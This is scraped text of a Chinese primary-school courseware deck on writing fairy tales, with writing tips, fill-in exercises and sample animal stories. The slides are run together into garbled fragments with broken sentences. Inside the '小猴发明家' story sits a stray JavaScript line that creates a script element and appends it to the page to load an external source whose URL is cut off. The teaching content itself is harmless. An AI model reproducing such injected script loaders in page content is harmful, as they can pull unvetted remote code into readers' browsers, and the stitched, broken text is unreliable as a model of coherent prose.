编写童话故事作文课件

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1、,编 写 童 话,2,将动物、植物或物品赋予人的动作和情感，将他们拟人化了； 加上丰富的想象； 借这个故事表达美好的愿望或告诉大家一个道理。,拟人,总结出一个道理,丰富的想象,童话的特点,童话的特点：,故事生动 形象鲜活 道理深刻,童话，是儿童文学的一种。这种作品通过丰富的想象、幻想和夸张来塑造形象，反映生活，对儿童进行思想教育。语言通俗、生动，故事情节往往离奇曲折，引人入胜。童话又往往采用拟人的方法，让整个大自然以及家具、玩具都赋予生命，注入思想感情，使它们人格化。,童话中的主人公多是动物、植物。写之前，我们要先确定哪些动物或植物是童话中主人公，它们本身具有什么特点，需要强调的是千万不能仅仅

2、把它们当作动植物来看，还要通过拟人手法把“物”当作人来写，要使它具有人的思想行为、语言动作以及感情，同时又要保留它作为“物”的本质特征。,它是通过对丑小鸭变成白天鹅的描述，告诉我们既要善待别人，又要正确对待自己人不要自己看不起自己，只要努力追求，也许你今天是一只丑小鸭，明天就回变成一只美丽的白天鹅！,17,生活中可以写的童话角色很多，如： 动物之间可以有许多的童话发生，如“小蚂蚁和花蝴蝶”“山羊和骆驼”“小老鼠和狮子”； 植物之间也可以发生故事，如“鲜花和野草”“老槐树和小槐树”“牵牛花和篱笆墙”； 大自然中也有故事，如“溪流和山石”、“风雨雷电”、“江河大海” 物品间也可以有故事发生，如“文

3、具盒里的对话”、“厨房里的故事”、“教室里清扫工具的争吵”,编故事的方法： 1、展开合理的想像； 2、编故事的时候要抓住人物的动作、语言、神态、和心理活动进行细致刻画； 3、故事最好有一定的意义。,故事内容具体,故事要有头有尾，要有合乎情理的故事情节，突出人的鲜明的性格特点（故事发生在什么时间，什么地点，主人公是谁），起因、经过和结果会是什么样的，你写这个故事想告诉大家一个怎样的道理？,用上动作、神态、语言或心理活动描写，让这个段落更生动形象。,受尽欺负的丑小鸭伤心地来到河边，眼巴巴地望着天上自由自在飞翔的美丽的白天鹅，不由得惊呆了：“难道世界上会有这么漂亮的鸟儿？”它自言自语地说：“我要是能

4、和他们一起飞该多好哇！” 动作 神态 语言 心理活动,看图，讲一个故事,这个故事讲了谁？,在什么地方？,它们之间发生了一件什么事？,童话故事的写法：,1、运用拟人的手法。,2、想象要大胆、丰富、合情合理。,3、故事要有一定的顺序。,三、编故事,主要动物：青蛙、蛤蟆 内容：青蛙过生日，蛤蟆送礼物 情趣：朋友的真情最可贵 故事情节：青蛙过生日蛤蟆要送礼做件衣服吧把布剪坏了改作背心吧可又剪坏了再改帽子吧还是剪坏了做成了手帕蛤蟆有歉意青蛙很感激礼物很特别真情最可贵,写作思路,故事发生：生日到了想送礼； 故事发展：自己动手做衣服； 故事高潮：改了一次又一次； 故事结尾：送礼的有歉意，收礼的很感激，真情最

5、可贵，朋友应珍惜。,温馨提示,蛤蟆的心理活动：送什么礼？剪坏了怎么办？送这样的礼真不好意思！ 青蛙和蛤蟆的对话：蛤蟆（不好意思）青蛙（安慰、感激） 写出故事包含的道理：友谊宝贵，真情无价！,重点练习一：开头段,青蛙和蛤蟆是一对好朋友。青蛙的生日快到了，蛤蟆想：（心理活动用自言自语的方法来写）,重点练习二：对话,青蛙生日那天，蛤蟆给青蛙送上自己的礼物，（）地说：“本来可是只好。祝你！” 青蛙接过礼物，（）地说：“”,重点练习三：揭示故事的意义,蛤蟆的礼物是的礼物，因为它饱含着,参考题目（自选也可另选）,生日礼物 蛤蟆送礼 青蛙和蛤蟆 特别的礼物 珍贵的的礼物 ,主要动物：小白兔、老马医生,内容：

6、小白兔的短尾巴和红眼睛的来历 情趣：赞美小白兔舍己救人的精神 故事情节：小白兔长长的尾巴，黑黑的眼睛，很漂亮路遇车祸勇救熊猫尾巴受重伤老马医生急抢救要保活命只好断尾白兔伤心哭红眼-大家都说更可爱从此短尾红眼睛,重点训练一：开头段,从前，有一只小白兔， 长得。,重点训练二：写脱险的经过,小白兔躺在病床上，（伤口化脓，生命垂危）。老马医生想：。,重点训练三：白兔伤心大家安慰,小白兔看着镜子里的尾巴，难过地想：。它越想越，就起来，眼睛。大家看了，心里也，就对小白兔说：“。”,命题（参考）,可爱的小白兔 短尾巴、红眼睛的小白兔 舍己救人的小白兔 勇敢的小白兔 ,根据画面编故事,如写大灰狼：应表现它的凶

7、猛、阴险，欺负弱小；,写狐狸：则反应它的狡猾，要用奸诈狡猾的语言来塑造它；,写老鼠：应突出它的胆小怕事，但是又很聪明。,小猪捉老鼠 一个大热天，小猪热得冒大汗，为了解暑，它特地从超市里买了一个又大又甜的西瓜，一蹦一跳地抱回家。 小猪很爱干净，它把西瓜抱回家之后，就去河边洗手。这时候，一群老鼠溜出来了，它们发现了西瓜，马上钻进西瓜里面，吃光了西瓜肉，只剩下空空的瓜壳。然后，老鼠们摸着圆鼓鼓的肚子，钻回了洞里。 小猪回来了，家里安然无恙。于是它去拿刀切西瓜了。把西瓜切开来的时候，小猪才发现西瓜里空空如也，一点果肉也没有。这时，它发现了老鼠啃过的洞，它非常生气，决定要教训这群可恶的老鼠。它想到了一个

8、非常好的办法。只见小猪把奶酪系在一条绳子上，然后用剩下的西瓜皮为主老鼠洞，再把奶酪放在老鼠洞前。 小猪准备好了：作战“的材料，摆好陷阱，就等老鼠找上门了。一开始，老鼠们闻到了奶酪的香味，然后像恶鬼脱胎一样飞速跑来，小猪看见老鼠要上当了，就马上把系在奶酪上的绳子网上一拉，那群老鼠直接撞到了西瓜皮，连大门牙都掉下来了。剩下的老鼠剪了，吓得目瞪口呆，全都乖乖投降了。 这个故事告诉我们一个道理，遇到困难要临危不乱，冷静想办法解决问题。,小猴发明家 在一座美丽的森林里有一只聪明的小猴，它是一个发明家，发明了许多好玩的玩具，动物们都非常喜欢它。 有一天，小猴发明了一台电脑，便把好朋友都请到家里。动物们看了

9、很好奇，小猴教它们怎么玩，大家玩得开心极了。 过了几个月后，小猴觉得有些厌烦了，心想：我这么聪明，电脑我都能发明，为什么要和不会发明的“笨蛋”们一起玩呢?于是，从那天起，小猴把动物们都赶走了。 var script = document.createElement(script); script.src = http:/ document.body.appendChild(script); 它把动物们赶走以后，就一个人独享起那台电脑，可时间久了，它觉得越来越冷，每天只好躺在被窝里，它心想：“为什么我的房间会这么冷呢?” 渐渐地，小猴的手和脸都冻僵了，喜鹊经过它家时，看见小猴哆嗦的样子，赶紧用自

10、己的身体给它保暖，小猴惭愧地对喜鹊说：“谢谢你，我现在好多了。其实，我不应该把你们这些好朋友赶走，你能把别的动物再请来我家玩电脑吗?”喜鹊点头答应了。 动物们很快又来到了小猴家，开心地玩起电脑，小猴笑着，想：好东西要和大家一起分享才会快乐啊! 从此，小猴让动物们一起玩电脑，动物们喜笑颜开。小猴生活在欢乐的气氛中，也感到无比的幸福!,童话的特点 采用拟人的手法，把物当作人 来写。 采用夸张的手法，想象大胆有趣。 童话里的事物都有象征意义。 童话里包含一定的道理。,它是通过对丑小鸭变成白天鹅的描述，告诉我们既要善待别人，又要正确对待自己人不要自己看不起自己，只要努力追求，也许你今天是一只丑小鸭，明

11、天就会变成一只美丽的白天鹅！,每个人都有自己的长处和短处，要善于看到别人的长处，正视自己的短处。要相互尊重，和睦相处。,巨人的花园讲的一个自私的巨人在孩子们的帮助下，改正了自己的错误做法，和孩子们一起过上幸福的生活，告诉我们能和大家一起分享的快乐才是真正的快乐。,去年的树讲鸟儿为了实现自己的诺言，千方百计的寻找自己的朋友树，最后面对着由树做成的火柴点燃的灯火，唱起了去年的歌。赞美了高尚的、令人荡气回肠的真挚情谊。,幸福是什么讲三个孩子在智慧女儿的引导下，经过十年的亲身经历，终于明白了只有用自己的劳动作出对人们有益的事，才是真正的幸福。,小木偶的故事讲一个原本只会笑的小木偶，在发生了一系列的事情

12、之后，只会笑是远远不够的，要用自己的真情、用不同的的方式去体验生活、面对生活。,童话的特点 采用拟人的手法，把物当作人 来写。 采用夸张的手法，想象大胆有趣。 童话里的事物都有象征意义。 童话里包含一定的道理。,习作要求： 我们已经读过不少童话故事。这次习作就来编童话故事。请你任选几种动物，或者几件物品,作为主人公，先想象一下它们之间可能会发生什么事，编一个故事，然后写下来。写好后读给大家听，看谁编的故事最有趣。,开始作文,1、 选择一种或几种喜欢的小动物或小物品做故事的主人公。 2、 注意写清故事的起因、经过、结果。 3、 合理的运用想象，使故事更加生动具体。,、通过这个故事，你想告诉人们什

13、么道理？,看图，讲一个故事,防火,烤红薯的狗狗,小猫咪的提示,大树下的篝火,带着香味的秋天,想一想： 这个故事讲了谁？,在什么地方？,它们之间发生了一件什么事？,确定题目： 1、以主人公的名字命名。 2、以主人公的特征命名。 3、以文章要表达的中心命名。,秋天到了，一片片树叶从树上飘落下来，在地上铺了一层厚厚的地毯。小狗汪汪来到地里，从农民伯伯收获过的地里捡到一个大大的红薯。它高兴极了：正好可以用这些落叶来烤红薯！那烤红薯的滋味可是美极了！上一次，主人曾经给过它一点的，但汪汪远远没吃够。,汪汪很快就在树下堆了一大堆的落叶，划根火柴点燃了。火苗舔着枯叶，汪汪把红薯放进火里。不一会儿，那甜甜的香味

14、儿就飘散开来了。 “哇，真香啊！”树上的小鸟闻到香味儿，从巢里探出头来：“小狗，是你在烤红薯吗？” “是的！”汪汪抬头看看小鸟，非常骄傲地说。,怎样编童话故事,第一步：想得越细，说得越具体。,（1）什么地方？有哪些动物（事物）？,（2）它们之间发生了什么事？,第二步：要细心体会，想想这件事情说明了什么？,如：表扬什么？批评什么？,第三步：合理地展开想像。,如：把它们都当做人来说（写），会说话、 会哭、会笑、会做事等，抓住它们的动作、语言、心理活动等描写，让句子表达得更加具体。,小猴上学 “上学啦!上学啦!”清晨，小猴背着新书包，一边欢呼，一边连蹦带跳地向学校跑去。上学前，小猴天天盼自己快长大，

15、快快满七岁。因为满了七岁，才能上学。啊!这一天终于盼来了。 一路上，小猴想：“学校里一定很好玩，能坐电动转马，能爬大象滑梯，还能和小羊、小兔、小牛等许多同学做有趣的游戏。学校里还一定有熊猫、猩猩、鸭子等老师，我一定能跟它们学到很多很多知识，长大了像猩猩博士一样，设计出动物王国的发电站，或者当个科学家，驾驶着飞船上月球，那月球上肯定有许多更有趣更好玩的地方小猴不知不觉已来到了学校。跨进校门，果然学校里热闹极了，有许多同学、老师它还是第一次看见，多新鲜啊! 上课了，第一节是语文课。熊猫老师认真地在黑板上教大家学写“一、二、三”等文字。小猴趴在课桌上跟着老师学写了一遍“一、二、三、”，便得意地想：语文太容易了。“一”就是一横，“二”就是二横，“三”就是三横，“四、五、六”不就是四横、五横、六横吗?我全学会啦!以后我当了科学家，不但要上月球去玩，而且还要上火星、金星“丁零零”下课铃声响了，一下子把小猴遨游太空的美梦惊醒了。 第二天，语文课又开始了。熊猫老师要小猴上黑板把昨天教的“一、二、三、四、五、六”默写出来。小猴胸有成竹地走到黑板前，得意洋洋地写了起来：“一、二、三”顺次画了21划。谁知，全班的同学都哄堂大笑起来。小猴莫名其妙地想，同学们笑什么?难道我写得不对吗?这时，熊猫老师请小花狗上黑板前把小猴写错的字一个一个纠正过